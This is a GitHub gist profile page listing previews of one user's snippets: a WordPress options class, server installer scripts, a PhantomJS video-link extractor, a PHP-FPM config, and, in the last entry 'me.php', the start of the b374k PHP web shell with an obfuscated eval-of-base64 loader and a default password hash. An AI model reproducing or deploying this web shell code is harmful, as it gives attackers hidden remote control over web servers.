Skip to content

Instantly share code, notes, and snippets.

View mrqaidi's full-sized avatar

Ayman Qaidi mrqaidi

  • Sharzee LLC
  • Cologne - Germnay
View GitHub Profile
@mrqaidi
mrqaidi / class.php
Created December 16, 2017 02:49 — forked from hlashbrooke/class.php
A complete, versatile options page class for any WordPress plugin
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
class WordPress_Plugin_Template_Settings {
private $dir;
private $file;
private $assets_dir;
private $assets_url;
private $settings_base;
@mrqaidi
mrqaidi / openload.js
Created August 2, 2017 13:34 — forked from Mello-Yello/openload.js
Openload: extract download URL using PhantomJS
// Usage: phantomjs openload.js <video_url>
var separator = ' | ';
var page = require('webpage').create(),
system = require('system'),
id, match;
if(system.args.length < 2) {
console.error('No URL provided');
phantom.exit(1);
@mrqaidi
mrqaidi / GraphicsMagick.sh
Created June 1, 2017 01:42 — forked from boldt/GraphicsMagick.sh
How to install GraphicsMagick on CentOS 6.7
#!/bin/bash
# Install build dependencies
yum install -y gcc libjpeg libpng-devel libjpeg-devel ghostscript libtiff libtiff-devel freetype freetype-devel
# Get GraphicsMagick source
wget http://skylink.dl.sourceforge.net/project/graphicsmagick/graphicsmagick/1.3.23/GraphicsMagick-1.3.23.tar.gz
tar zxvf GraphicsMagick-1.3.23.tar.gz
# Configure and compile
@mrqaidi
mrqaidi / google-img-resize.mdown
Created March 29, 2017 09:22
Google’s authentication-less on-the-fly image resizing service

Google's authentication-less on-the-fly image resizing service

I found it while poking around the Google+ HTML. Jotting down some notes felt like a good idea, so here goes. If you know more about this API, let me know, please!

(Word of warning: I spent ~30 minutes on both my experimentation and this here write-up, so it might not be the most thought-provoking, brilliant thing you read today.)

@mrqaidi
mrqaidi / elasticsearch-installer.sh
Last active March 23, 2017 08:18
elasticsearch-installer.sh
#! /bin/bash
# Coded By Ayman Qaidi mrqaidi@gmail.com
# run chmod 755 elasticsearch-installer.sh; ./elasticsearch-installer.sh
install_jdk180(){
cd /opt/
wget --no-cookies --no-check-certificate --header \
"Cookie: gpw_e24=http%3A%2F%2Fwww.oracle.com%2F; oraclelicense=accept-securebackup-cookie" \
"http://download.oracle.com/otn-pub/java/jdk/8u102-b14/jdk-8u102-linux-x64.tar.gz"
@mrqaidi
mrqaidi / csf-installer.sh
Last active February 28, 2020 15:50
CSF installer for centos
#! /bin/bash
# Coded By Ayman Qaidi mrqaidi@gmail.com
# run chmod 755 csf-installer.sh and then ./csf-installer.sh
install_csf(){
read -p "Install and configure CSF? (y/n) " CSF
if [ "$CSF" = "y" ] || [ "$CSF" = "s" ]; then
wget https://download.configserver.com/csf.tgz 2> /dev/null
# Checks if you've downloaded the package correctly
[ "$?" != 0 ] && echo -e "Download problem." && return 1
@mrqaidi
mrqaidi / class.envato2.php
Created March 1, 2017 19:32 — forked from dtbaker/class.envato2.php
Using the verify-purchase endpoint of the new Envato API to validate a purchase code.
<?php
// NOTE: verify-purchase has been deprecated and it's best to use the new /author/sale endpoint as documented on http://build.envato.com/
// created by Envato user wpdreams https://forums.envato.com/t/verify-purchase-class/3526
// usage example:
$o = EnvatoApi2::verifyPurchase( $purchase_code );
@mrqaidi
mrqaidi / sentora_install.sh
Created November 17, 2016 16:22 — forked from GeoWebDevCom/sentora_install.sh
Installer for Sentora Ubuntu 14.04 with armf compability
#!/usr/bin/env bash
# Official Sentora Automated Installation Script
# =============================================
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
@mrqaidi
mrqaidi / conf
Last active October 25, 2016 20:51
testuser
; Start a new pool named 'www'.
[testuser]
; The address on which to accept FastCGI requests.
; Valid syntaxes are:
; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific address on
; a specific port;
; 'port' - to listen on a TCP socket to all addresses on a
; specific port;
; '/path/to/unix/socket' - to listen on a unix socket.
@mrqaidi
mrqaidi / me.php
Created September 14, 2016 14:13
<?php
/*
b374k 2.8
Jayalah Indonesiaku
(c)2013
http://code.google.com/p/b374k-shell
*/
$s_pass = "aca532418212e3a16d51649e7453c433ef1ec5e7"; // default password : b374k (login and change to new password)
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("rP2HruxcliaIvUpOojGVJZaa3k0biQwygt77gZCg995TNe8u/plV3dVGM4Ag3IsbQW7Dvfda6zPnnhPnP/4/pmr6079b/3rky5/+05/+jPx76s//4Y/rrd66/I87CUpi7Z/+/O//3udvbd1Y1sPbo/+jA0pA0J/+b39CsPcf8m/NWZ7s5dtSxN2a/4c//T/H5K/rFi/bX/7xvVjz7W8j/9rVfb39BfrjXj3Uf33v/+Ufqq3v/povy7is//BP/wD9wx+NaZfHyzt+S+O0yv+YI8uLesj/8g+c/Q//9CdOtPiPo1vhX23eYCzmfft2+Xd/NXTbedfwx+jhL3+//Nv9H/9vb79Xf7v70XVZ5P9Nw99v/H2E8d6PlyW+/9rnS5n/y2z/9Kf/Ovzfdomnv/x52f/8t2bjba2Lv/zrmfzj//tPf9vcX5d8GpetHsq/8H/lLUu3/vTPf+L/6jOWJmq/v71/t2Lzf3un6Y744f+bY8rqdereZ/2Xk4L/4b9pf+Pz37UV45K/x/eXvy01Xv/079r/9J//3fGu511dvf71b0v/y3vjH//07453K9NSD9tfl/fOP/1pW/b8nSFPq/FPf/6P6xQP//nP/75a17/8u/bf//k/ve/fYf/+z/8R/FvLf0yWP4H/+c2g/+P